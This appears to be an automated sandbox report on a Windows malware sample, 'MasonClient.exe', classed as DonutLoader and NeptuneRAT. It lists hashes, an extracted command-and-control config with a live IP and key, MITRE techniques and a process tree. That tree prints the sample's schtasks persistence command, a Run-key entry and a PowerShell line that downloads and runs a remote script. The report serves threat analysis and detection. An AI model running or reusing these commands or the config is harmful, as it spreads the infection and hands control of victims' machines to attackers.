donutloader | ab25277c78a76a3b54217c9363ee571a67c1ed4f049825ec32a0afa16d67edbc

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MasonClient.exe
Size 88KB
Sample260809-tex2patycz
SHA256 ab25277c78a76a3b54217c9363ee571a67c1ed4f049825ec32a0afa16d67edbc
MD5 7f005252f7400a8d19fbf4d0f9d9b9bc
SHA1 b053f538221ab76a57a99b4c587eb8e5aca53f96
SHA512 1eb6e6f713a41e249018d0d63ac1677ff29831bb5b2cf89ebb70b83b637915ef8acd2c4aee92758d365a247b353e5cd35d37d55370f0066a20029d8a0282204b
SSDEEP 1536:22RIr/c07GcSj9zESoxvor8U3PCMIIUXxid8XfjdAqvv+a+gb:23jr7TSjBES6oosbI3Xp75+ho
TLSH
T16A93F1D87B9CCC56E3C900FFDEA40782B83490D89438567869E5018CB78AB3D767DE66
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution donutloader neptunerat loader persistence trojan

Malware Config

Extracted

Family

neptunerat

92.99.93.184:6868

Attributes

filename
USB.exe
group
MasonGroup
key
lwijufbF8osb3Qex
rat_name
MasonRAT

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4852-1-0x0000000002BF0000-0x0000000002C05000-memory.dmp	family_donutloader

Detects NeptuneRAT stealer 3 IoCs

resource	yara_rule
behavioral2/memory/4852-4-0x0000000002C40000-0x0000000002C54000-memory.dmp	family_neptunerat
behavioral2/memory/6080-12-0x0000000002940000-0x0000000002954000-memory.dmp	family_neptunerat
behavioral2/memory/896-26-0x0000000002CA0000-0x0000000002CB4000-memory.dmp	family_neptunerat

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	5372	powershell.exe
11	5372	powershell.exe
12	5688	powershell.exe
14	4540	powershell.exe
15	4540	powershell.exe
15	4540	powershell.exe
16	6016	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
6080	MasonClient.exe
896	MasonClient.exe
2360	MasonClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\MasonClient = "C:\\Users\\Admin\\AppData\\Roaming\\MasonClient.exe"	MasonClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2020	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1948	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5372	powershell.exe
5372	powershell.exe
5372	powershell.exe
5688	powershell.exe
5688	powershell.exe
5688	powershell.exe
4540	powershell.exe
4540	powershell.exe
6016	powershell.exe
6016	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	MasonClient.exe
Token: SeDebugPrivilege	6080	MasonClient.exe
Token: SeDebugPrivilege	2020	taskkill.exe
Token: SeDebugPrivilege	5372	powershell.exe
Token: SeDebugPrivilege	5688	powershell.exe
Token: SeDebugPrivilege	896	MasonClient.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	2360	MasonClient.exe
Token: SeDebugPrivilege	6016	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 1948	4852	MasonClient.exe	89
PID 4852 wrote to memory of 2020	4852	MasonClient.exe	95
PID 4852 wrote to memory of 2824	4852	MasonClient.exe	97
PID 2824 wrote to memory of 5372	2824	CMD.EXE	99
PID 2824 wrote to memory of 5688	2824	CMD.EXE	100
PID 2824 wrote to memory of 4540	2824	CMD.EXE	102
PID 2824 wrote to memory of 6016	2824	CMD.EXE	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1948
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /pid 0 /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\SYSTEM32\CMD.EXE
  "CMD.EXE"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm files.catbox.moe/ryquer.cmd | iex"
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm files.catbox.moe/ryquer.cmd | iex"
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm files.catbox.moe/ryquer.cmd | iex"
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm files.catbox.moe/ryquer.cmd | iex"
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6016

C:\Users\Admin\AppData\Roaming\MasonClient.exe
C:\Users\Admin\AppData\Roaming\MasonClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6080

C:\Users\Admin\AppData\Roaming\MasonClient.exe
"C:\Users\Admin\AppData\Roaming\MasonClient.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Users\Admin\AppData\Roaming\MasonClient.exe
"C:\Users\Admin\AppData\Roaming\MasonClient.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
MD5 8e905f2b8648d1e6d98fe873e767284e
SHA1 b351c01a95e361a8200fad41aaeb7eda7cd56d00
SHA512 651c9b32840f7670a5ab155e3a89147921c73c323076c72fa39573f6ab7c4a96a64a70cd8078822c004e1842515414c2eba88a034eceff86fab746e992d6fc90
TLSH
T160215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BBB84D549B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93ee657517bd5c234cc95b880e9f7ec5ebefe7fc3fa600bd646deea3f0539687
MD5 e22320f989cf445a4e929e5cb7cad662
SHA1 ca71bb7069f75da894ce8a74fb6f20739935e368
SHA512 758a6c62e845be881d743169de15d020e25f527cd4e47b22db4aea697c8285180e6e2a53f3b19516445c79e88ed5b8ff4d98b5fff82b769d4faccf875418c571
TLSH
T16A215733F3CC8624DC9A413650CEAC1136B687DB409ECE6BBB84D558B42F289DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3ca436b8e75d3f6e3d2d6dda43b38ede556d4cfdebbeeaa28281d58e391a596d
MD5 818678b2af5fecb08fa214a0df3e017d
SHA1 2725cf37028efde390eaddbf8b8b20f7c52be884
SHA512 5edf3c4d1682027c78720601654a626a3aa2ba125ceb3f0d0f9adeb2b9d7a0698afc213eea233d4a1af180e62faf407415bc32abfaea57c6fd316b95d6000fb0
TLSH
T147215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BAB84D549B42F699DE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1smdktr3.cwd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1smdktr3.cwd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MasonClient.exe

Path C:\Users\Admin\AppData\Roaming\MasonClient.exe
Size 88KB
SHA256 ab25277c78a76a3b54217c9363ee571a67c1ed4f049825ec32a0afa16d67edbc
MD5 7f005252f7400a8d19fbf4d0f9d9b9bc
SHA1 b053f538221ab76a57a99b4c587eb8e5aca53f96
SHA512 1eb6e6f713a41e249018d0d63ac1677ff29831bb5b2cf89ebb70b83b637915ef8acd2c4aee92758d365a247b353e5cd35d37d55370f0066a20029d8a0282204b
SSDEEP 1536:22RIr/c07GcSj9zESoxvor8U3PCMIIUXxid8XfjdAqvv+a+gb:23jr7TSjBES6oosbI3Xp75+ho
TLSH
T16A93F1D87B9CCC56E3C900FFDEA40782B83490D89438567869E5018CB78AB3D767DE66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/896-26-0x0000000002CA0000-0x0000000002CB4000-memory.dmp

Download

memory/4852-5-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-8-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-14-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-15-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-7-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-6-0x00007FFACBBB0000-0x00007FFACC554000-memory.dmp

Download

memory/4852-1-0x0000000002BF0000-0x0000000002C05000-memory.dmp

Download

memory/4852-4-0x0000000002C40000-0x0000000002C54000-memory.dmp

Download

memory/4852-0-0x0000000000AC0000-0x0000000000ADC000-memory.dmp

Download

memory/4852-3-0x00007FFACBD3F000-0x00007FFACBD40000-memory.dmp

Download

memory/5372-16-0x000002BF7A890000-0x000002BF7A8B2000-memory.dmp

Download

memory/6080-12-0x0000000002940000-0x0000000002954000-memory.dmp

Download